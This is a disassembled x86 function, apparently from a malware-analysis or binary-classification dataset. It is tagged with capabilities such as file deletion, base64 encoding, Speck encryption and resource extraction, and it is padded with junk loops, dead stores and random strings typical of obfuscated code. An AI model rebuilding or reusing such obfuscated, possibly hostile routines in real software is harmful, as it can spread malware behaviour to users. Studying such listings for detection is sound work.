Function at 0x10035edb
Capabilities:
Check os version
Delete file
Encode data using base64
Encrypt data using speck
Extract resource via kernel32 functions
Get common file path

Disassembly:
mov eax, 0x1005a30a
call fcn.100589e8
sub esp, 0x538
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x18], 0xfffffff7
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x18], ebx
jmp 0x10035f10
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x41c], 0x713b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10035eff
mov dword [ebp - 0x18], ebx
jmp 0x10035f35
push ecx
push ecx
push 1
push 0x53a7
push ecx
push 0x5505
call fcn.10033097
add esp, 0x18
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jle 0x10035f1b
mov dword [ebp - 0x20], 0x6fe7d8a8
mov dword [ebp - 0x160], 0xfffffffb
mov dword [ebp - 0x18], ebx
jmp 0x10035f62
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x454], 0x540d
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10035f51
push 3
pop edi
mov dword [ebp - 0x20], edi
cmp dword [ebp - 0x20], ebx
jl 0x10036013
mov dword [ebp - 0x18], 0x3b9da4d0
mov dword [ebp - 0x18], edi
cmp dword [ebp - 0x18], ebx
jl 0x10035fdd
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x1c], edi
cmp dword [ebp - 0x1c], ebx
jl 0x10035fa2
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x454], ebx
jne 0x10035fa2
dec dword [ebp - 0x1c]
jns 0x10035f91
push 0x6930
push 0x1ae4
push 0x61b3
push 0x72c6
push 0x524
push 1
push 0x5170
push 0x4e67
push 0x4201
xor dl, dl
mov cl, 1
call fcn.10033f73
add esp, 0x24
dec dword [ebp - 0x18]
jns 0x10035f86
lea eax, [ebp - 0x160]
mov edx, 0x3839
push eax
push 0x25fb
push 0x68d7
push 0x4fa2
push 0x738b
push 1
push ebx
mov cl, 1
call fcn.100353a7
add esp, 0x1c
dec dword [ebp - 0x20]
jns 0x10035f77
mov eax, dword [0x105755f4]
test al, 1
jne 0x1003604c
or eax, 1
mov dword [0x105755f4], eax
mov dword [ebp - 4], ebx
mov dword [0x105755ec], ebx
mov dword [0x105755f0], ebx
call fcn.10039c5a
push 0x1005a6bd
mov dword [0x105755ec], eax
call fcn.10042017
or dword [ebp - 4], 0xffffffff
pop ecx
push 4
lea ecx, [ebp - 0x2f8]
call fcn.10001c0f
xor eax, eax
lea ecx, [ebp - 0x2f8]
inc eax
lea edx, [ebp - 0x54]
push eax
mov dword [ebp - 4], eax
push ecx
mov dword [ebp - 0x34], 0xfd9d0890
mov cl, al
mov dword [ebp - 0x24], 4
mov dword [ebp - 0x314], eax
push 0x45c0
mov dword [ebp - 0x310], eax
push 0x7f25
mov dword [ebp - 0x30c], eax
mov dword [ebp - 0x308], eax
push 0x2c1f
mov dword [ebp - 0x44], 0x9e177c42
push 0x416f
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x3c], 0xffffffff
push ebx
call fcn.100340b1
add esp, 0x1c
mov dword [ebp - 0x54], ebx
jmp 0x100360d6
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x1f0], 0xffffffff
inc dword [ebp - 0x54]
cmp dword [ebp - 0x54], 1
jl 0x100360c5
mov dword [ebp - 0x54], ebx
jmp 0x100360f2
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x25c], 9
inc dword [ebp - 0x54]
cmp dword [ebp - 0x54], 2
jl 0x100360e1
mov esi, dword [ebp - 0x2f8]
mov eax, 0xef6e229e
xor ecx, ecx
sub eax, dword [esi + 4]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov edx, dword [esi + 4]
imul eax, edx, 0x5465
mov dword [ebp - 0x1f0], edx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
cmp edx, eax
setge cl
cmp ecx, dword [esi + 4]
jge 0x10036130
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x310]
xor ecx, ecx
mov dword [ebp - 0x258], eax
add eax, 0xdc21366b
cmp dword [esi + 4], eax
sete cl
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x2f8]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x258], eax
or dword [ebp - 4], 0xffffffff
call fcn.10001c92
cmp byte [0x10575461], 0
je 0x1003625a
lea eax, [ebp - 0xe0]
mov dword [ebp - 0xa8], 0xe8cff0ea
push eax
push 0xbc9
lea eax, [ebp - 0xf4]
mov dword [ebp - 0xd8], 0x741311e2
push eax
push 0x1b1f
lea eax, [ebp - 0xa8]
mov dword [ebp - 0xe0], 0xf5537c57
push eax
push ebx
lea eax, [ebp - 0xd8]
mov dword [ebp - 0x18], 0x9b4af7bd
push eax
mov dword [ebp - 0x34], 6
mov dl, 1
mov dword [ebp - 0x24], ebx
mov cl, dl
push 0x5463
mov dword [ebp - 0xf4], ebx
mov dword [ebp - 0x44], 0xfffffffb
push 0x6f2b
call fcn.10033f73
mov ecx, dword [ebp - 0xa8]
xor edx, edx
mov eax, dword [ebp - 0xa8]
add esp, 0x24
cmp ecx, eax
mov eax, dword [ebp - 0xd8]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xf4]
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x44], eax
jmp 0x1003969e
push dword [ebp - 0xe4]
movdqa xmm0, xmmword [str._t_t_t_t]
lea eax, [ebp - 0x3d4]
push eax
lea eax, [ebp - 0x3e4]
mov dword [ebp - 0x10c], ebx
push eax
push ebx
lea ecx, [ebp - 0x10c]
mov dword [ebp - 0x108], ebx
movdqu xmmword [ebp - 0x3e4], xmm0
mov dword [ebp - 0x104], ebx
call fcn.10001cf8
mov dword [ebp - 4], 2
mov dword [ebp - 0x2c], 7
mov dword [ebp - 0x44], 0xf9ca3eaa
mov dword [ebp - 0x18], ebx
jmp 0x100362c7
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x230], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x100362b6
mov eax, dword [ebp - 0x10c]
mov dword [eax], 0xfffffff3
cmp dword [eax], 5
je 0x1003648d
mov dword [ebp - 0x34], 0x389d
cmp dword [ebp - 0x34], 0x3c26
jle 0x1003632e
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x44], ebx
mov ecx, ebx
mov eax, esi
sar eax, cl
mov ecx, 0x100742b8
and eax, edi
cdq
push edx
push eax
call fcn.1000793a
inc ebx
cmp ebx, 0x19a1
jl 0x100362f8
inc esi
push 0
pop ebx
cmp esi, 0x6b8
jl 0x100362f5
inc edi
cmp edi, 0x1c5b
jl 0x100362f3
push 3
pop edi
push 2
lea ecx, [ebp - 0x2b0]
call fcn.10001c0f
mov byte [ebp - 4], 4
cmp dword [ebp - 0x34], 0x383d
jge 0x10036357
mov edx, str.fdhgqz_irczod_zpo_xakadlx_flifqnr_zjkc
mov ecx, 0x100742b8
call fcn.10009c90
mov dword [ebp - 4], edi
mov dword [ebp - 0x18], ebx
jmp 0x10036397
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2b0]
mov dword [eax + ecx*4], 0xc0d37ad4
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10036384
mov esi, dword [ebp - 0x2b0]
mov dword [esi + 4], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 2
jg 0x1003643b
mov eax, dword [ebp - 0x10c]
lea edi, [eax + 4]
mov eax, dword [eax]
inc eax
cmp eax, dword [ebp - 0x228]
je 0x100363d3
cmp dword [ebp - 0x2c], ebx
jne 0x100363d3
mov edx, ebx
jmp 0x100363d6
xor edx, edx
inc edx
mov eax, dword [ebp - 0x10c]
xor ecx, ecx
cmp dword [eax], ebx
sete cl
add ecx, edx
jne 0x100363f7
mov eax, dword [esi + 4]
cmp dword [ebp + eax*4 - 0x230], ebx
jne 0x100363f7
mov edx, ebx
jmp 0x100363fa
xor edx, edx
inc edx
mov eax, dword [esi + 4]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x230]
cmp eax, edx
setg cl
xor eax, eax
cmp ecx, dword [edi]
mov ecx, 0xffff
setg al
sub ecx, eax
mov eax, dword [ebp - 0x22c]
add eax, ecx
cmp eax, 2
sbb eax, eax
inc eax
mov dword [ebp - 0x44], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jg 0x1003643b
mov eax, dword [ebp - 0x10c]
jmp 0x100363bf
push 0x629b
push ebx
push 0x6f6d
lea eax, [ebp - 0x84]
mov byte [ebp - 0x84], bl
push eax
push ecx
mov ecx, 0x2827
call fcn.10032db2
add esp, 0x14
inc dword [esi + 4]
cmp dword [esi + 4], 2
jle 0x100363a6
lea ecx, [ebp - 0x2b0]
mov byte [ebp - 4], 2
call fcn.10001c92
mov eax, dword [ebp - 0x10c]
push 3
pop edi
inc dword [eax]
jmp 0x100362d8
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10c]
call fcn.10001c92
push dword [ebp - 0xe4]
movdqa xmm0, xmmword [str._t_t_t_t]
lea eax, [ebp - 0x3f4]
mov byte [0x10575461], 1
lea ecx, [ebp - 0x248]
mov dword [ebp - 0x44], 0x6c902da
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x2c], 0x69f4981
mov dword [ebp - 0x40], ebx
push eax
mov dword [ebp - 0x3c], 0xfffffff6
lea eax, [ebp - 0x404]
mov dword [ebp - 0x3c], 0x218e9934
push eax
mov dword [ebp - 0x3c], 4
mov dword [ebp - 0x24], 0xb7e80d68
mov dword [ebp - 0x2c], 0xf62c
push ebx
movdqu xmmword [ebp - 0x404], xmm0
mov dword [ebp - 0x248], ebx
mov dword [ebp - 0x244], ebx
mov dword [ebp - 0x240], ebx
call fcn.10001cf8
push edi
lea ecx, [ebp - 0x268]
mov dword [ebp - 4], 6
call fcn.10001c0f
mov byte [ebp - 4], 7
mov dword [ebp - 0x20], ebx
jmp 0x1003654d
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x100], 0xecf54c3c
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x1003653c
mov dword [ebp - 0x20], ebx
jmp 0x10036569
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x434], 0x53423637
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x10036558
mov dword [ebp - 0x20], ebx
jmp 0x10036587
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x268]
mov dword [eax + ecx*4], 0x628eaf60
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x10036574
mov eax, dword [ebp - 0xfc]
mov edx, 0x1aa5
mov eax, dword [ebp - 0xfc]
mov eax, dword [ebp - 0x24]
dec dword [ebp - 0x24]
mov eax, dword [ebp - 0x100]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xfc]
mov eax, dword [ebp - 0x428]
mov eax, dword [ebp - 0xfc]
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0xfc]
mov eax, dword [ebp - 0x268]
push ebx
sub ecx, dword [eax]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x2c], ecx
push ecx
mov ecx, 0x3f36
call fcn.100352e1
pop ecx
pop ecx
lea ecx, [ebp - 0x268]
call fcn.10001c92
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x248]
call fcn.10001c92
mov dword [ebp - 0x30], 0x6c42
cmp dword [ebp - 0x30], 0x6d44
jle 0x1003666b
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x34], 0x7720
mov esi, ebx
mov ebx, dword [ebp - 0x24]
mov eax, ebx
mov edi, 0x5f6a
cdq
idiv esi
mov ebx, edx
mov eax, ebx
mov ecx, 0x100742b8
cdq
push edx
push eax
call fcn.1000793a
dec ebx
dec edi
jne 0x10036630
mov ebx, dword [ebp - 0x24]
inc esi
cmp esi, 0x1bf0
jl 0x10036624
mov edi, dword [ebp - 0x38]
add ebx, edi
dec dword [ebp - 0x34]
push 0
mov dword [ebp - 0x24], ebx
pop ebx
jne 0x1003661f
inc edi
mov dword [ebp - 0x38], edi
cmp edi, 0x1f8f
jl 0x10036615
mov dword [ebp - 4], 8
cmp dword [ebp - 0x30], 0x69be
mov dword [ebp - 0x40], 0x10070af0
jge 0x10036691
mov edx, str.gbmdzzo_ufc_lydjnx_kvkggev_plnh_krwo_ptrua_lswhcdln_rbakypop_nbghybhfb_dvbrpw
mov ecx, 0x100742b8
call fcn.10009c90
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x11c]
mov dword [ebp - 0x11c], 0x7d45db34
push eax
push 1
lea eax, [ebp - 0x114]
mov dword [ebp - 0x138], 0x2db8e964
push eax
mov dword [ebp - 0x114], ebx
push 0x1332
mov dword [ebp - 0x1ac], 0xffffffff
push ecx
mov dword [ebp - 0x1a4], 0xbaaa4f69
lea ecx, [ebp - 0x138]
mov dword [ebp - 0x17c], 0xce43c7d7
call fcn.10032db2
add esp, 0x14
lea eax, [ebp - 0x17c]
lea edx, [ebp - 0x1ac]
push eax
push ecx
lea eax, [ebp - 0x1a4]
push eax
push 1
lea eax, [ebp - 0x114]
push eax
push ecx
push ecx
lea eax, [ebp - 0x11c]
push eax
push 0x28d6
lea ecx, [ebp - 0x138]
call fcn.10033118
add esp, 0x24
mov dword [ebp - 0x34], ebx
lea ecx, [ebp - 0x338]
push 2
call fcn.10001c0f
push 0xa
pop esi
mov dword [ebp - 4], esi
mov dword [ebp - 0xb4], 0xffffffff
mov dword [ebp - 0x15c], 0x3a18e418
mov dword [ebp - 0x20], ebx
jmp 0x10036792
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x338]
mov dword [eax + ecx*4], 0x3185
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x1003677f
mov dword [ebp - 0x18], 0x34f6
cmp dword [ebp - 0x18], 0x3773
jle 0x10036819
mov dword [ebp - 0x30], ebx
mov edi, ebx
mov dword [ebp - 0x38], 0x5a14
mov dword [ebp - 0x24], edi
mov esi, edi
mov edi, 0x113c
mov eax, esi
lea ecx, [ebp - 0x48c]
cdq
push edx
push eax
call fcn.1000207f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100367d8
mov eax, dword [eax]
push eax
call fcn.10042041
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x48c]
call fcn.100022c2
inc esi
dec edi
jne 0x100367be
mov edi, dword [ebp - 0x24]
mov esi, dword [ebp - 0x30]
add edi, esi
dec dword [ebp - 0x38]
mov dword [ebp - 0x24], edi
jne 0x100367b7
inc esi
mov dword [ebp - 0x30], esi
cmp esi, 0x264d
jl 0x100367ab
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
push 0xa
pop esi
mov dword [ebp - 0x20], ebx
jmp 0x1003682f
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x390], 0x611bc38
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 1
jl 0x1003681e
cmp dword [ebp - 0x18], 0x3157
jge 0x10036849
push str.mrrvadng_adwxxxan_mrrj_yioaakv_jfunxy_vjo_yvsnfdtpw_qqrezr
call fcn.10042041
pop ecx
mov dword [ebp - 4], esi
mov dword [ebp - 0xb4], ebx
cmp dword [ebp - 0xb4], 1
jg 0x10036935
mov byte [ebp - 0x81], bl
mov dword [ebp - 0x30], 0x307c
cmp dword [ebp - 0x30], 0x3370
jle 0x100368e7
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, ebx
mov dword [ebp - 0x24], ebx
mov esi, ebx
mov dword [ebp - 0x38], ebx
cdq
mov edi, ebx
idiv esi
mov esi, edx
mov eax, esi
lea ecx, [ebp - 0x4d4]
and eax, edi
cdq
push edx
push eax
call fcn.1000207f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100368a9
mov eax, dword [eax]
push eax
call fcn.10042041
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4d4]
call fcn.100022c2
inc edi
cmp edi, 0x3784
jl 0x1003688d
mov esi, dword [ebp - 0x38]
mov eax, dword [ebp - 0x24]
inc esi
mov dword [ebp - 0x38], esi
cmp esi, 0x5964
jl 0x10036886
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0x6715
jl 0x10036881
push 0xa
pop esi
push 1
push 1
lea edx, [ebp - 0x81]
xor cl, cl
call fcn.10032d4d
cmp dword [ebp - 0x30], 0x2d26
pop ecx
pop ecx
jge 0x1003690e
push str.isjxdxjvn_sycbhyi_glvnv_jibl
call fcn.10042041
pop ecx
push ebx
mov dword [ebp - 4], esi
lea edx, [ebp - 0x83]
mov byte [ebp - 0x83], bl
push 0x56f9
call fcn.10035514
inc dword [ebp - 0xb4]
pop ecx
pop ecx
jmp 0x10036852
lea eax, [ebp - 0x15c]
mov ecx, 0x180f
push eax
push 0x66e8
lea eax, [ebp - 0xb4]
push ebx
push eax
call fcn.10034e76
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x338]
add esp, 0x10
call fcn.10001c92
push 0xc
pop esi
push 3
pop edi
mov dword [ebp - 0x38], esi
cmp esi, 0xe0
jge 0x10036e52
mov dword [ebp - 0x20], 2
xor ecx, ecx
mov dword [ebp - 0x18], 0xfffffffb
inc ecx
mov dword [ebp - 0x1c], ebx
jmp 0x100369a1
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x128], 0x8884515f
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10036990
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 0x1a
jle 0x10036a62
mov dword [ebp - 0x24], 0x3948
mov dword [ebp - 0x44], 0xfffffffd
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], ebx
jmp 0x100369da
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xe8], 0xbdebf889
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x100369c9
push 0x7d8c
lea eax, [ebp - 0x85]
mov byte [ebp - 0x85], bl
push eax
push ecx
mov ecx, 0x24cf
call fcn.100331ef
mov eax, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x24]
add esp, 0xc
add eax, dword [ebp - 0x20]
cmp eax, 0x1ba0
setle dl
xor eax, eax
mov dword [ebp - 0x128], edx
mov ecx, dword [ebp - 0x44]
add ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x20]
cmp edx, ecx
setle al
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x18]
jg 0x10036a40
cmp dword [ebp - 0x24], ebx
je 0x10036a40
xor eax, eax
inc eax
jmp 0x10036a42
mov eax, ebx
xor ecx, ecx
add eax, 8
cmp eax, 0xfc80
push 1
setg cl
mov dword [ebp - 0x2c], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x1a
pop ecx
jg 0x100369b3
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
jl 0x10036be1
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], ebx
jl 0x10036bd9
mov dword [ebp - 0x1c], 0x53e3f36a
mov dword [ebp - 0x3c], 0xac06e326
mov dword [ebp - 0x168], ecx
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], ebx
jl 0x10036adf
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x10036ada
push 0xfe4
push ecx
push ebx
push ecx
push 0x45f6
push 0x59c4
push ecx
push 0x72ec
push 0x381a
push ecx
mov edx, 0x5db
call fcn.10034b1b
xor ecx, ecx
add esp, 0x28
inc ecx
dec dword [ebp - 0x1c]
jns 0x10036aa3
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], ebx
jg 0x10036bce
mov dword [ebp - 0x24], 0x25aa
cmp dword [ebp - 0x24], 0x26c6
jle 0x10036b3e
mov esi, ebx
mov edi, ebx
mov dword [ebp - 0xe8], ebx
lea ecx, [ebx + edi]
mov eax, esi
shl eax, cl
mov ecx, 0x100742b8
cdq
push edx
push eax
call fcn.1000793a
inc ebx
cmp ebx, 0x7134
jl 0x10036b05
inc edi
push 0
pop ebx
cmp edi, 0x68bc
jl 0x10036aff
inc esi
cmp esi, 0x7ec1
jl 0x10036afd
push ebx
call dword [sym.imp.KERNEL32.dll_ExitThread]
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x128], ebx
jne 0x10036bce
mov dword [ebp - 4], 0xf
cmp dword [ebp - 0x24], 0x23e2
jge 0x10036b6d
mov edx, str.tnlcqhhx_mwapq_dxougzkyq_tqxbqavp_jxfuspjgl
mov ecx, 0x100742b8
call fcn.10009c90
or dword [ebp - 4], 0xffffffff
push 0x4b3c
push 1
push 0x492c
push ecx
push 1
push 0x7f0f
push ecx
push 0x2be9
push ecx
lea eax, [ebp - 0x168]
push eax
push 1
push ecx
call fcn.1003323f
add esp, 0x30
inc dword [ebp - 0x1c]
jmp 0x10036ae2
dec dword [ebp - 0x20]
xor ecx, ecx
inc ecx
jmp 0x10036a7e
dec dword [ebp - 0x18]
jmp 0x10036a65
mov eax, dword [ebp - 0x40]
mov al, byte [eax]
cmp al, byte [esi + 0x10070af0]
jne 0x10036f1d
mov dword [ebp - 0x1c], ebx
lea ecx, [ebp - 0x348]
mov dword [ebp - 0x3c], 0x7b5c6eff
push edi
call fcn.10001c0f
push 1
lea ecx, [ebp - 0x2e0]
mov dword [ebp - 4], 0x11
call fcn.10001c0f
mov byte [ebp - 4], 0x12
mov dword [ebp - 0x3c], 0x28787d63
mov dword [ebp - 0x50], ebx
jmp 0x10036c3d
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x318], 0xc85f
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], 1
jl 0x10036c2c
push 0x1434
push 0x59cd
push ebx
lea eax, [ebp - 0x348]
mov edx, 0xa32
push eax
lea eax, [ebp - 0x50]
push eax
push 0x648e
push 0x2889
call fcn.10032b42
xor edx, edx
mov dword [ebp - 0x50], ebx
add esp, 0x1c
inc edx
jmp 0x10036c8b
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x2e0]
mov dword [eax + ecx*4], 0xfffffffa
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], edx
jl 0x10036c78
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], ebx
jl 0x10036cf6
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x3c], 0x2c58fb77
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x18], ebx
jmp 0x10036cc5
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x424], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10036cb4
push ecx
push 0x31c3
push ecx
push edx
mov byte [ebp - 0x6a], bl
lea edx, [ebp - 0x6a]
push 0x49a8
call fcn.1003333c
mov eax, dword [ebp - 0x2e0]
add esp, 0x14
inc dword [eax]
dec dword [ebp - 0x1c]
push 1
pop edx
jns 0x10036c98
lea ecx, [ebp - 0x2e0]
call fcn.10001c92
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x348]
call fcn.10001c92
push 2
lea ecx, [ebp - 0x1fc]
mov dword [ebp - 0x34], esi
call fcn.10001c0f
mov dword [ebp - 4], 0x13
lea ecx, [ebp - 0x2c8]
mov dword [ebp - 0xcc], 0x81c2900
push 4
call fcn.10001c0f
push 0x4b15
lea eax, [ebp - 0x1fc]
mov byte [ebp - 4], 0x14
push eax
push 0x48ba
push ecx
push 1
lea ecx, [ebp - 0x1e4]
call fcn.10033f1f
add esp, 0x14
lea eax, [ebp - 0x1e4]
mov edx, 0x6dba
mov ecx, 0x7db1
push eax
push ebx
push 0x1c99
push 0x3327
push 0x987
lea eax, [ebp - 0x2c8]
push eax
push 1
push ebx
call fcn.10032913
add esp, 0x20
lea eax, [ebp - 0x1fc]
push eax
push 0x5ec8
lea eax, [ebp - 0xcc]
push eax
push ecx
push ebx
mov ecx, 0x3e4b
call fcn.10033f1f
mov eax, dword [ebp - 0xcc]
add esp, 0x14
mov eax, dword [ebp - 0x1fc]
cmp dword [eax + 4], ebx
jne 0x10036dd7
cmp dword [ebp - 0xcc], 0xffffffff
je 0x10036dd7
mov eax, ebx
jmp 0x10036dda
xor eax, eax
inc eax
mov dword [ebp - 0xcc], eax
xor ecx, ecx
mov eax, dword [ebp - 0x2c8]
mov esi, dword [eax]
mov eax, dword [ebp - 0x1fc]
mov eax, dword [eax]
add eax, eax
cmp eax, esi
setge cl
xor edx, edx
cmp ecx, esi
setl dl
xor eax, eax
cmp edx, 0xfffffffe
setl al
cmp eax, esi
jne 0x10036e25
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x10036e38
push ebx
push ebx
mov edx, 0x47e1
mov cl, 1
call fcn.10032d4d
jmp 0x10036e36
push 0x2e37
push 0x20c9
mov dl, 1
call fcn.10033375
pop ecx
pop ecx
lea ecx, [ebp - 0x2c8]
call fcn.10001c92
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1fc]
call fcn.10001c92
xor ecx, ecx
inc ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x24], 8
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 0xfffffff3
jg 0x10037085
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 0x1c
jne 0x10037056
push 4
lea ecx, [ebp - 0x224]
call fcn.10001c0f
push 0x2d93
push ebx
push ecx
push ecx
lea eax, [ebp - 0x224]
mov dword [ebp - 4], 0x15
push 0x5aa
mov dword [ebp - 0x30], 0x10f7a73
lea ecx, [ebp - 0x34c]
push eax
call fcn.100327c8
add esp, 0x18
mov dword [ebp - 0x30], edi
cmp dword [ebp - 0x30], ebx
jl 0x1003703f
mov dword [ebp - 0x24], 0x4063
cmp dword [ebp - 0x24], 0x4411
jle 0x10036eff
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x100742b8
xor eax, esi
cdq
push edx
push eax
call fcn.1000793a
inc edi
cmp edi, 0x6a39
jl 0x10036ed9
inc esi
cmp esi, 0x7b8d
jl 0x10036ed7
push 3
pop edi
mov byte [ebp - 4], 0x16
cmp dword [ebp - 0x24], 0x3d35
jge 0x10036f45
mov edx, str.crmfdgw_quaerlff_adlq_hqmivixt_ppdre_embych
mov ecx, 0x100742b8
call fcn.10009c90
jmp 0x10036f45
inc esi
jmp 0x1003696b
mov dword [ebp - 4], 0x15
mov dword [ebp - 0x44], 2
mov dword [ebp - 0x1c], ebx
jmp 0x10036f66
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x58], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jl 0x10036f58
mov dword [ebp - 0x58], ebx
jmp 0x1003702e
mov dword [ebp - 0x1c], 0x443ac46d
lea ecx, [ebp - 0x274]
push edi
call fcn.10001c0f
lea eax, [ebp - 0x274]
mov byte [ebp - 4], 0x18
push eax
lea eax, [ebp - 0x3d4]
xor dl, dl
push eax
call fcn.10033375
mov dword [ebp - 0x1c], edi
pop ecx
pop ecx
cmp dword [ebp - 0x1c], ebx
jl 0x1003701c
cmp dword [ebp - 0x58], ebx
jne 0x10036ffa
mov eax, dword [ebp - 0x58]
xor ecx, ecx
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x18]
cmp eax, 9
setg cl
cmp ecx, dword [ebp - 0x18]
jl 0x10036fcf
cmp dword [ebp - 0x58], ebx
je 0x10036fcf
xor eax, eax
inc eax
jmp 0x10036fd1
mov eax, ebx
mov ecx, dword [ebp - 0x58]
imul edx, eax, 0xffff
mov eax, dword [ebp - 0x224]
add edx, dword [eax + ecx*4]
xor eax, eax
cmp eax, edx
sbb eax, eax
neg eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x24], eax
jge 0x10036ffa
mov edx, ebx
jmp 0x10036ffd
xor edx, edx
inc edx
mov eax, dword [ebp - 0x274]
mov ecx, dword [ebp - 0x58]
mov dword [eax], edx
mov eax, dword [ebp - 0x224]
mov eax, dword [eax + ecx*4]
imul eax, edx
mov dword [ebp - 0x44], eax
dec dword [ebp - 0x1c]
jns 0x10036faa
lea ecx, [ebp - 0x274]
mov byte [ebp - 4], 0x15
call fcn.10001c92
inc dword [ebp - 0x58]
